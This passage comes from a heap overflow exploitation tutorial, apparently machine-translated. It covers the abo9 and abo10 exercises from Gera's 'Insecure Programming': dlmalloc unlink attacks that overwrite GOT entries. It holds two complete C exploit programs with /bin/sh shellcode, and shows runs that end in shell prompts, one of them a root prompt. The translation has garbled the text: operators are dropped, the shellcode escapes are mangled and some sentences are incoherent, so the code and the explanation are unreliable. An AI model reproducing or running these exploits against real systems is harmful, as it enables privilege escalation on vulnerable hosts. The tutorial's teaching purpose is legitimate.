Second Chunk Begins Here (GDB) 0x804978c: 0x00000000 (GDB) Q The Program Is Running. EXIT Anyway? (Y OR N) Y User @ Corelabs: ~ / gera $ Thus, when trying free () releases the second memory block (chunk), its prev_size domain is read, and the pointer of the previous memory block is calculated here. Here is the 0x08049780-0x41414141 = 0xc6c3563f of the calculated. Function chunk_free () Attempts to access 0xC6C3563F, of course it will get paragraph error. The purpose of the attacker is to add a negative number in the PREV_SIZE field of the second memory block (a positive number thereof, but a small number will contain at least one null byte, which will be difficult to complete in technology) To fake a Chunk. Based on the true second memory block, the unlink () process will exchange this forged CHUNK BK and FD (this is the attacker can control), so that any address in the memory . When the program is transferred to memory operation by the operating system, the image corresponding to the process is shown in the figure below. | | | -------------------------------------- <--- 0x08049678 / | Prev_size domain | / / ------------------------------------ > First memory block head / | SIZE Domain | / / ---------------------------------- <--- 0x08049680 The first memory block <| 256 bytes of data | | / | AAAAAAA | | | / | AAAAAAA | | Block overflow direction / | AAAAAAA | | | / | Aaaaaaa | / | / ------------------------------------ <---- 0x08049780 / | 0xffffffff | / / ------------------------------------ > Second memory block head / | 0xffffffff | / / / ---------------------------------- / <---- 0x08049788 / | Aaaaaaa | / Second memory block < ---------------------------------- > Forge block / | Free () Addr. In Got | / / ------------------------------------ / / | Shellcode addr. | / / ------------------------------------ / | | | In this simple explanation. When Free () releases the second memory block, Malloc will check if the adjacent two blocks have been released. It first checks the previous chunk. If this block has been released, a flag called prev_inuse will be set to 0. This flag is in the Size area of the currently released block (the lowest significant bit of the Size area). If this flag is not assigned, then the current The block will be released. The position of the previous memory block does not know. Point to the current block and the size of the previous block will be used to calculate it. Attacker in the second memory block size zone assigns a value of 0xffffffffc (-4) because the lowest effective bit must be 0 (other negative numbers apply). The value of the PREV_SIZE domain is now being assigned to 0xffffFFFFC (-4) And now the first block pointer should calculate this: 0x08049780- (0xfffffffc) = 0x08049784 (not 0x08049786). The attacker will put his forged block in the 0x08049784. The two domains of the forged piece (prev_size and size) This doesn't matter. Just notice that the attacker can overwrite any of the addresses during the FD and BK swap. He may choose to give the address of the free () function to FD, give the shellcode's address to BK. Now Come see unlink (), shellcode is now in the got address of Free (). When the second free () (in this example), the program searches for the address in the GOT, but it points to the shellcode. So A shellcode is executed instead of Free (). Shellcode is another time as the last environment variable. The address of the free () can be obtained: User @ Corelabs: ~ / Gera $ Objdump - r ./ ABO9 ./ ABO9: File Format ELF32- I386 Dynamic RELOCATION RECORDS Offset Type Value 08049658 R_ 386_ Glob_ DAT __GMON_ST__ 08049640 r_ 386_ jump_ slot __ register_ frame_ info 08049644 r_ 386_ jump_ slot malloc 08049648 r_ 386_ jump_ slot __ deregister_ frame_ info 0804964C R_ 386_ jump_ slot __ libc_ start_ main 08049650 r_ 386_ jump_ slot free08049654 r_ 386_ jump_ slot strcpy User @ Corelabs: ~ / gera $ Exploit can automatically get this address. User @ Corelabs: ~ / Gera $ GCC Exp9. C - o EXP9 User @ Corelabs: ~ / gera $ ./ EXP9 Shellcode Address in Stack IS: 0xBfffffc7 Free () address in got is: 0x8049650 SH- 2.05 $ Here is the corresponding Exploit: / * ** EXP9. c ** Coded by CoreSecurity-info@core-sec.com * / # include # include # include # Define Junk 0xcafebabe # Define negative_size 0xffffff # Define objdump "/ usr / bin / objdump" # define victim "/ home / user / gera / ABO9" # Define grep "/ bin / grep" / * 10 Bytes Jump and 24 bytes shellcode * / Char shellcode [] = "Xebx0annnnnoooo" "X31XC0X50X68X2FX2FX73x68x68x2fx62x69" "X6EX89XE3X50X53X89XE1X99XB0X0BXCDX80"; Int main () { Char * p; Char Evil_Buffer [276 1]; / * 256 20 = 276 * / CHAR TEMP_BUFFER [64]; Char * env [3] = {shellcode, null;} INT shellcode_addr = 0xBfffffa-strlen (shellcode) -Strlen ("/ home / user / gera / ABO9); INT free_addr; File * f; Printf ("Shellcode Address In Stack IS: 0x% XN", shellcode_addr; Sprintf (Temp_buffer, "% S - R% S |% s FREE", Objdump, Victim, GREP; f = POPEN (Temp_Buffer, "R"); IF (fscanf (f, "% x", & free_addr)! = 1) { PClose (f); Printf ("ERROR: Cannot Find Free Address in Got! N"); Exit (1); } Printf ("Free () Address IN GOT IS: 0X% XN", Free_ADDR); P = evIL_buffer; MEMSET (P, 'A', (256)); / * Padding * / P = 256; * ((void **) p) = (void *) (NEGATIVE_SIZE); / * Prev_size Field of Second Chunk * / P = 4; * (void **) p) = (void *) (NEGATIVE_SIZE); / * SIZE FIELD OF Second Chunk and Prev_size FileD of Fake Chunk * / P = 4; * ((void **) P) = (void *) (junk); / * size field of favor cnk * / P = 4; * ((void **) P) = (void *) (free_addr-12); / * fd field of second chunk * / P = 4; * ((void **) p) = (void *) (shellcode_addr); / * bk Field of Second Chunk * / P = 4; * p = '0'; Execle ("/ Home / User / Gera / ABO9", "ABO9", Evil_Buffer, NULL, ENV); } Analysis of Advanced Cache Area overflow code 10 Source code: / * ABO10. C * * specially crafted to feed your brain by gera @ core- sdi. com * / / * Modified by CoreSecurity * / / * Deja-vu * / Char BUF [256]; INT Main (int Argv, char ** argc) { Char * pbuf = (char *) Malloc (256); // Gets (buf); STRCPY (BUF, Argc [1]); Free (PBUF); } The above code is also easier to overflow. Thegets () function is replaced by strcpy (). The overflow is similar to the above example. The header of the memory block is overwritten, and any of the memory can override any of the memory. Because PBUF is connected to BUF [256], this overflow is possible. They are not initialized at the beginning, and they are all in the .bss area. Here are two places to overwrite --- got _deregister_frame_info and the address of .dtors. In our Exploit, we covered the address of the former. | | | ------------------------------------ <--- 0x08049720 / | 256 BYTES of Data | / | AAAAAAA | | | / | AAAAAAA | | | / | Aaaaaaa | | Cache overflow direction BUF [256] / | AAAAAAA | | | / | AAAAAAA | | | / | AAAAAAA | | | / | Aaaaaaa | / | / -------------------------------------- <- --0x08049820 / | 0xffffffff | / / ------------------------------------ > block head / | 0xffffffff | / / / -------------------------------------- / <---- 0x08049728 / | Aaaaaaa | / PBUF block < ------------------------------------ > Forgery block / | Dereg. Addr. In got | / / ------------------------------------ / / | Shellcode addr. | / / ------------------------------------ / | | | User @ Corelabs: ~ / Gera $ LTRACE ./ ABO10 __ libc_ start_ main (0x08048454, 1, 0xBfffa34, 0x080482e0, 0x080484cc __ register_ frame_ info (0x080494fc, 0x08049600, 0xBffff9d8, 0x4004f138, 0x4012ba58) = 0x4012c740 Malloc (256) = 0x08049728 STRCPY (0x08049620, null --- Sigsegv (segmentation fault) --- Killed by Sigsegv User @ Corelabs: ~ / Gera $ Objdump - r ./ ABO10 ./ ABO10: File Format ELF32- i386 Dynamic RELOCATION RECORDS Offset Type Value 080495FC R_ 386_ Glob_ DAT __GMON_ START__ 080495E4 R_ 386_ jump_ slot __ register_ frame_ info 080495e8 r_ 386_ jump_ slot malloc 080495EC R_ 386_ jump_ slot __ deregister_ frame_ info 080495F0 R_ 386_ jump_ slot __ libc_ start_ main 080495f4 r_ 386_ jump_ slot free080495f8 r_ 386_ jump_ slot strcpy User @ Corelabs: ~ / gera $ Exploit will automatically get this address User @ Corelabs: ~ / Gera $ GCC Exp10. C - o EXP10 User @ Corelabs: ~ / gera $ ./ EXP10 Shellcode Address in Stack IS: 0xBffffffc6 __ derecister address in got IS: 0x80495ec SH- 2.05 # Here is the corresponding Exploit: / * ** EXP10. C ** Coded by CoreSecurity-info@core-sec.com * / # include # include # include # Define Junk 0xcafebabe # Define Negative_ size 0xfffffffc # Define objdump "/ usr / bin / objdump" # Define Victim "/ Home / User / Gera / ABO10" # Define grep "/ bin / grep" / * 10 Bytes Jump and 24 bytes shellcode * / Char shellcode [] = "Xebx0annnnnoooo" "X31XC0X50X68X2FX2FX73x68x68x2fx62x69" "X6EX89XE3X50X53X89XE1X99XB0X0BXCDX80"; Int main () { Char * p; Char Evil_Buffer [276 1]; / * 256 20 = 276 * / CHAR TEMP_BUFFER [64]; Char * env [3] = {shellcode, null;} INT shellcode_addr = 0xBffFFFFA-STRLEN (Shellcode) -Strlen ("/ home / user / gera / ABO10); INT DREG_ADDR; File * f; Printf ("Shellcode Address In Stack IS: 0x% XN", shellcode_addr; Sprintf (Temp_Buffer, "% S - R% S |% s deRegister", Objdump, Victim, GREP); f = POPEN (Temp_Buffer, "R"); IF (fscanf (f, "% x", & DREG_ADDR)! = 1) { PClose (f); Printf ("Error: Cannot Find __deregister address in got! / n"); Exit (1); } Printf ("_ Deregister Address IN GOT IS: 0X% XN", DREG_ADDR); P = evIL_buffer; MEMSET (P, 'A', (256)); / * padding * / p = 256; * ((void **) p) = (void *) (NEGATIVE_SIZE); / * prev_size field of second chunk * / P = 4; * ((void **) P) = (void *) (NEGATIVE_SIZE); / * SIZE FIELD OF Second Chunk and Prev_Size Filed of Fake Chunk * / P = 4; * ((void **) P) = (void *) (junk); / * size field of favor cnk * / P = 4; * ((void **) p) = (void *) (DREG_ADDR-12); / * fd Field of Second Chunk * / P = 4; * ((void **) p) = (void *) (shellcode_addr); / * bk Field of Second Chunk * / P = 4; * p = '0'; Execle ("/ home / user / gera / abo10", "ABO10", Evil_Buffer, NULL, ENV); } to sum up Programmers should be careful when writing software. As shown in this document, skill skilled attackers can improve permissions by more concealment than these errors, or access the host (when there is a vulnerability service It is running). Some security initiatives are required -, such as kernel patches, compilers, and more. But the most important way to avoid errors in programs should be educational programmers. Let them not Only add new functions to them, but check up for unsafe processes. Remember to make your code short and beautiful. Reference: References GERA, "INSECURE Programming By Example" http://community.core-sdi.com/~gera/insecureprogramming/ 2. Aleph One, "Smashing The Stack for Fun and Profit" http://www.phrack.org/phrack/49/p49-14 3. Murat, "Buffer overflows Demystified" http://www.enderunix.org/docs/eng/bof-eng.txt 4. Juan M. Bello Rivas, "Overwriting The. Dtors Section" http://www.synner.net/downloads/papers/dttors.txt 5. Anonymous, "ONCE UPON A Free ()" http://www.phrack.org/phrack/57/p57-0x09 6. Michel "Maxx" Kaempf, "Vudo Malloc Tricks" http://www.phrack.org/phrack/57/p57-0x08